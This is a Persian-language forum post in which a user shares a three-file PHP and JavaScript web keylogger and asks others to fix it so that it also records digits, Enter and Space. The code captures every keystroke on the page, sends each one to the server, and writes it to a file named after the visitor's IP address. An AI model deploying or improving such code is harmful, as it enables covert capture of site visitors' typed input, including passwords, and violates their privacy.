PDA

View Full Version : حرفه ای: این کد چرا به جای اعداد . حروف ذخیره میکنه ؟



elimiz
سه شنبه 13 دی 1390, 15:47 عصر
سلام دوستان
کد زیر کلید های تایپ شده در مروگر رو در داخل یک فایل تکست ذخیره میکنه. اما مشکلش اینه که اعداد و کلید اینتر و اسپیس رو ذخیره نمیکنه و بجای اعداد حروف ذخیره میکنه
اگر دوستان میتونید کد زیر رو اصلاح کنید تا هم دکمه اینتر و اسپیس و اعداد رو هم ذخیره کنه
خیلی ضروری احتیاج دارم
از سه فایل تشکیل شده
index.php
record.js
write.php

کد فایل:record.js
function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('write.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}

کد فایل:write.php
<?php
$_GET['on'];
$file = fopen($_SERVER['REMOTE_ADDR'] . ".txt","a");
fwrite($file,$_GET['on'] . '');
fclose($file);
?>


کد فایل:index.php
<html>
<head>
<SCRIPT language="javascript" SRC="record.js"></SCRIPT>
</head>
<body onkeyup="behavior(event)">
Page Content
</body>
</html>